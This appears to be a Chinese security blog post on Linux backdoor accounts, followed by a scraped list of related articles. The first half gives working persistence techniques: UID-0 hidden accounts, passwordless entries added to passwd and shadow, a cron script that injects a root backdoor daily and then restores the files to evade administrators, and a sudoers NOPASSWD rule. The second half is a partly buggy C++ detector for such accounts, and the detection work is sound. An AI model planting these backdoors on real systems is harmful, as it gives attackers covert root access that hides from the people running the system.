catalog

. Linux黑客帐号攻击向量
. Linux可疑帐号检测模型

1. Linux黑客帐号攻击向量

0x1: 将黑客帐号添加到"root"组

. useradd hacker -p hacker123
. usermod -a -G root hacker
. id hacker

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbwAAAAnCAIAAAD7BGq8AAAF7klEQVR4nO2dW5K1KgyFHZcDoqpnwxB6FEyGwdgPXkggwbA3trf11Xno362QBFiCYs7w+/v78/MznIYLU3BXq2L08WijhuHpvrsQfY9ylMIvGDrwEs4WzWH0MfrxwApcsJbvwrRwrEUbD/bdx6W4g4TnQqEDb+N00QQAgDsB0QQAgAYgmgAA0ABEEwAAGoBoAgBAAyeK5vqCFRs7AAD3QRTNWc4OFbPRx7mC7Y/8h5W0GYbZtB1mO0PWox9uF1kvP1bHFY8ugQvEpsXQwkQXorft5yxaU66o8VcDXxcAgIYiml27mzS+0ja7vdG3bZijW/PSWHRhWjdRu7COk482JqcB3nGPnuSd6NF1yCwuHZh9+r6T1Ev4tvx/+kIBvA+DaM7zjegdn4CO2/5lMvDLg2xala6eqxh5kbWJ3uij/IWJ9OUJEc1kUbJT9oh4vZQ5+jhNMcbcTeolMzx65oXi+55HmSdL0SEEP6rGl5HXjN+pJ7heoim3pl5Rho8hFOuGIvJZoVuUkmguv6UGNXUGAFSMM00X1n62TJNcmMhUMU3wyoPaTDO4WTWKX8WxpM3J8qvHQkq20cVFqvCI1bv9Lc9enXOpyDG7hP2tz3css8wUxNFHoh225jBPvbNLpppoJtlR72+ZC+SUakWl7+bIS1FaIz96IqPmzgCAilk0eV/i/176p3hwqIpmcBbR1Jax8xgRvFqH2ZgNcaY7eZGKaJIpyVoXLVYokRatiKZpYa4Lrqk5FOP36sn1VekM1k/L6eX1ivQLq5HXojT6GJyPaU7a1BkAUDlTNJUVXH62sox1YZIVkxaij4aqaKZRKugOnUSzUhYVyOdW5ZA2LcyvKZr1Jw4CPUVTjHxFNDMLWzoDACofiiYfhHSQCoUkjUjrxcpMq1gPpjO3n9LajZpEH6SmGrW3t7kBdB0XqNiUopmezE65WgVe7p7ve8/12JI8ClZx23iZmmjOeiKLWTJTtdCFdZVgQL2FFBXpF+5EXo7SfDJ5T9jUGQBQ2RdNvqrZOpe4RJXXrdL+ILrlSHlnFMl7Dz61yRda1XdT5QYfxSPlXcp8FZsTJ3ciVx9pWBa+t0zWqKnziebm0IwfStFkNoUY2RS+VMf0aKWG2Jq1ioSLox8skS+jtD0yzVy3dwYANP5jy5ECNrffAlk0MTcDr+Wsze3gBmib2wF4M/j2HAAAGoBoAgBAAxBNAABoAKIJAAANQDQBAKABiCYAADRgFc1PEyMO+zvey03WcmnbNvjzky1+v0sR8eQF3HfX58ubo5KZ7LH/m+UuM836ZngxdmLyyvmYUhr72ObsZIsfJew0g3jeiDc3RzUFbdc2lT06qdtQ0Ux3qDXHIDle3EzMiRHFXiVmxyh+4tWRw6cnW6RfgtdImTZ9Fl3Es1M8rQlGxe49p0EisSdRXo9FNIdCxU3u0SE5ee12diabaVobW0qMWKTeEr7u3YqQs09K/1ytYdE5P9mi5SZHouSL76wRz47xNCYYlbo3Xcymq5Jpa2IRNEdJxc1Szrrn5LXb2ZnPRLMpxxchndnaq7JHgOcnW2Tpc2TGLGSI51ZB73gac+UposliL2QWsY7KdzXHnpt53Lqnl7Tb2ZmOoqndisVCWtcv+73qn5MtHi+aiGdZySGiSeuVMgbGfHmL5tDtVDwSKnqQaC427y8nSbiqN2M+3063PiF5pVCRUEp2zknJFo3LSfpcGPHcKugdT2OCUal7zyWNvBxiTXG3K+x+S3OUb+UrbkrLc0sbNeTkrbp1JPnbc/VBez6xp8uXSmLEYTA/7k3J4qT7OIkOebzN3qmkR+LHJ1s0NhZ5nRDYQzTEs1c8lTKFxeygdO/o07mq6Rabnt0cpWYqvpdFtLSR3HDU/fZu05n7bG4/Jz4K7cZ8uwukO4jnWvX/r+8ELt8c9EXTx4V05qSg3Uc02UvDk7Hvqk2396vYvoF4DmT2d7piXb05PrqvHevRrTe3AwDAW4BoAgBAAxBNcAiT9B8ADwCiCQ4BogmeCkQTHAJEEzyUPw7clCnY/GmRAAAAAElFTkSuQmCC" alt="" />

0x2: 不使用系统指令添加系统帐号

. vim /etc/passwd
新增一行: musicyxy:x::::/:/bin/bash . vim /etc/shadow
新增一行: musicyxy::::::::
//!wq

0x3: 基于crontab进行帐号隐藏

. 利用crontab(计划任务)进行黑客帐号的隐藏
. 把用于隐藏黑客帐号的伪造passwd和shadow文件备份到别的地方(例如/tmp/passwd、/tmp/shadow),原目录(/etc/passwd、/etc/shadow)保持不变
. 将musicyxy:x::::/:/bin/sh和musicyxy::::::::两条信息追加到伪造的passwd和shadow文件中
. 然后在每天的固定时间点将伪造的passwd、shadow文件替换到/etc/目录,并做好原始正常文件的备份,在过了这段时间窗口后,将原始正常文件还原回来
. 这样我们就可以在伪造文件生效的时间段内登陆系统,在不登陆的时候,伪造文件也会自动还原为正常文件,这样不容易被管理员发现

shell

#!/bin/bash
//每天的11点40分运行cat /etc/passwd > /dev/ttypwd
echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
//每天的12点9分回滚原始正常passwd、shadow文件
echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
service crond restart;
crontab /etc/door.cron;

这样,每天的后门帐号存活时间窗口为11:40~12:09

0x4: 添加UID=0的非root帐号

. 添加普通用户: useradd hacker -p hacker123
//新创建的用户会在/home下创建一个用户目录hacker . 删除用户testuser所在目录
rm -rf /home/hacker . 添加权限
vim /etc/passwd
把新加的用户uid和gid改为0:
hacker:x::::/home/hacker:/bin/bash -> hacker:x::::/home/hacker:/bin/bash
or
useradd -u -o -g root -G root -d /home/hacker hacker

0x5: 基于sudo指令隐藏高权限账户

不管sudoers文件在哪儿,sudo都提供了一个编辑该文件的命令: visudo来对该文件进行修改,它会帮你校验文件配置是否正确,如果不正确,在保存退出时就会提示你哪段配置出错的

<user list> <host list> = <operator list> <tag list> <command list>
//hacker ALL=(ALL) NOPASSWD: ALL
. user list: 用户/组,或者已经设置的用户的别名列表, 用户名直接username,用户组加上%,比如%admin
. host list: 主机名或别名列表
. operator list: runas用户,即可以以哪个用户、组的权限来执行
. tag list: 这个经常用到的是 NOPASSWD: 添加这个参数之后可以不用输入密码
. command list: 可以执行的命令或列表

黑客攻击手段

. vim /etc/sudoers
. 添加一行: hacker ALL=(ALL) NOPASSWD: ALL
. sudo -u root /mnt/sudodir/cmd,不需要输入密码
. 这样就能实现hacker用户允许转换成任意用户及执行任意命令

Relevant Link:

http://read.newbooks.com.cn/info/156976.html
http://network810.blog.51cto.com/2212549/1133349
http://jingyan.baidu.com/article/5bbb5a1b5cf43513eba179b5.html
http://www.linux521.com/2009/system/201005/11198.html
http://www.linux521.com/2009/system/201005/11198.html
https://linux.cn/article-2655-1.html
http://chenall.net/post/linux-sudo-config/

2. Linux可疑帐号检测模型

0x1: 检测root用户组的非root用户

. 通过Bash指令: cut -d: -f1 /etc/passwd,获取当前账户列表
. 遍历列表,调用getpwnam、getgrgid获取每个账户的pw_name、pw_uid、pw_gid
. 检测是否存在异常帐号
) 非root账户,但是uid为0
) 非root账户,但是gid为0
) 非root账户,但是shell为/bin/bash、/bin/sh(非/sbin/nologin)

Code Example

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <grp.h>
#include <pwd.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h> void getUserInfo(const char *name)
{
struct passwd* pw;
struct group* grp; if(name == NULL)
{
return;
} pw = (struct passwd*)malloc(sizeof(struct passwd));
grp = (struct group*)malloc(sizeof(struct group)); pw = getpwnam(name);
if (!pw)
{
printf ("Couldn't find out about user %s, %d.\n", name, errno);
return;
}
printf ("User login name is %s.\n", pw->pw_name);
printf ("User uid is %d.\n", (int) (pw->pw_uid));
printf ("User gid is %d.\n", (int) (pw->pw_gid));
printf ("User home is directory is %s.\n", pw->pw_dir);
printf ("User default shell is %s.\n", pw->pw_shell); //group info
grp = getgrgid (pw->pw_gid);
if(!grp)
{
printf ("Couldn't find out about group %d.\n", (int)pw->pw_gid);
return;
}
printf ("User default group is %s (%d).\n", grp->gr_name, (int) (pw->pw_gid)); return;
} int main()
{
FILE *fp = popen("cut -d: -f1 /etc/passwd", "r");
if(fp == NULL)
{
return ;
}
char line[];
while(fgets(line, , fp) != NULL)
{
//std::cout << line;
getUserInfo((const char *)line);
}
pclose(fp); return ;
} //g++ healthchcker.cpp -o healthchcker

Relevant Link:

http://blog.csdn.net/xocoder/article/details/8987135
http://pubs.opengroup.org/onlinepubs/009695399/basedefs/pwd.h.html
https://www.mkssoftware.com/docs/man5/struct_group.5.asp
http://www.embedu.org/column/Column185.htm
http://www.cnblogs.com/hnrainll/archive/2011/05/07/2039692.html

0x2: /etc/sudoers异常配置检测

. 打开/etc/sudoers
. 递归的处理include的情况
. 检查是否存在除了"root ALL=(ALL) ALL"之外的可疑配置

0x3: /etc/passwd、/etc/shadow权限检查

标准基线权限

. /etc/shadow: other组不应该有写权限
. /etc/shadow: other组不应该有写权限

Copyright (c) 2015 LittleHann All rights reserved

Linux Hackers/Suspicious Account Detection的更多相关文章

  1. linux出现user account has expired解决方案

    SUSE Linux 用户user1登陆不了,确认密码没错,使用root用户登陆,su - user1 提示密码不对,passwd user1提示帐户过期user account hasexpired ...

  2. Linux System Reinforcement、Intrusion Detection Based On syslog

    目录 .文件系统及访问权限 . Linux Syslog . Linux日志审计 . 帐号安全管理 . 基础物理安全 . 系统编译环境安全 . 系统病毒.后门.rootkit安全 . 系统端口.服务安 ...

  3. 嵌入式Linux驱动学习之路(五)u-boot启动流程分析

    这里说的u-boot启动流程,值得是从上电开机执行u-boot,到u-boot,到u-boot加载操作系统的过程.这一过程可以分为两个过程,各个阶段的功能如下. 第一阶段的功能: 硬件设备初始化. 加 ...

  4. Linux内存使用情况以及内存泄露分析之工具与方法

    <Linux C/C++ Memory Leak Detection Tool> 1. 内存使用情况分析 1.1 系统总内存分析 通过cat /proc/meminfo,可用的物理内存=M ...

  5. Linux常用基本命令(paste)

    paste命令 作用:合并文件 格式: paste [option] [file] 1,把两个文件的内容,按行合并 ghostwu@dev:~/linux/paste$ ls ghostwu1.txt ...

  6. Linux内存使用情况以及内存泄露情况

    1. 内存使用情况分析 http://www.360doc.com/content/15/1118/13/17283_514054063.shtml https://www.linuxidc.com/ ...

  7. 从单片机到系统之--uboot启动arm linux

    UBOOT官网下载地址:http://ftp.denx.de/pub/u-boot/ 很详细的UBOOT解释: https://www.crifan.com/files/doc/docbook/ubo ...

  8. Linux 驱动开发

    linux驱动开发总结(一) 基础性总结 1, linux驱动一般分为3大类: * 字符设备 * 块设备 * 网络设备 2, 开发环境构建: * 交叉工具链构建 * NFS和tftp服务器安装 3, ...

  9. Chkrootkit Sourcecode Learning

    目录 . Chkrootkit Introduce . Source Code Frame . chklastlog.c . chkwtmp.c . ifpromisc.c . chkproc.c . ...

随机推荐

  1. 金旭亮老师的Scoekt编程摘要

    Socket提供了众多的属性,还提供了SetSocketOption方法来设置各种选项,对.NET网络应用程序的数据通讯进行“微调”.    Socket的功能出奇地强大,在.NET平台上,它支持以下 ...

  2. QT 记事本小程序

    //mainwindow.h #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> #include <Q ...

  3. css 内容超过容器宽度,checkbox等控件不会随着内容延伸

    <div a> <div id='内容容器'> <div>很长的内容</div><input type='checkbox'/> </ ...

  4. NOI2018准备Day7

    昨天没写,就不补了. 晚上追剧到3点,今天困死...... 上午做了一道水题,然后找一个程序的神奇的错误花了3个小时 下午做了3道递归吧,稍微难一点儿的黄金题就卡了 刚开始学递归时没多做题练练,现在 ...

  5. spring:如何用代码动态向容器中添加或移除Bean ?

    先来看一张类图: 有一个业务接口IFoo,提供了二个实现类:FooA及FooB,默认情况下,FooA使用@Component由Spring自动装配,如果出于某种原因,在运行时需要将IFoo的实现,则F ...

  6. 基于ASP.NET MVC的热插拔模块式开发框架(OrchardNoCMS)--瘦身计划

    Orchard CMS是针对CMS开发的,对于很多开发需求来说,内容管理这块儿可能并不需要,而需要它的模块式开发模式.所以我这里通过对OrchardCMS进行瘦身,去除 内容管理部分的内容,保留简单的 ...

  7. [ARM] Cortex-M Startup.s启动文件相关代码解释

    1. 定义一个段名为CSTACK, 这里: NOROOT表示如何定义的段没有被关联,那么同意会被优化掉,如果不想被优化掉就使用ROOT. 后面的括号里数字表示如下: (1):这个段是2的1次方即2字节 ...

  8. 使用EasyUI布局时出现混乱瞬间的解决方法

    在所有form代码之前加遮罩层 <div id='PageLoadingTip' style="position: absolute; z-index: 1000; top: 0px; ...

  9. 用 canvas 做个好玩的网站背景

    不知不觉又好久没更过博客了,老调新弹一下,之前做的一个小效果,觉得蛮有意思的,也有朋友问是怎么做的,就分享一下,写个博文吧. 先上demo吧:http://whxaxes.github.io/canv ...

  10. Bootstrap系列 -- 2. 标题

    一. Bootstrap标题 在Bootstrap中使用标题和Html本身没有太大的区别使用h1-h6, 而Bootstrap只是默认修改了H1-h6的样式,网上找到如下资料参考 二. Bootstr ...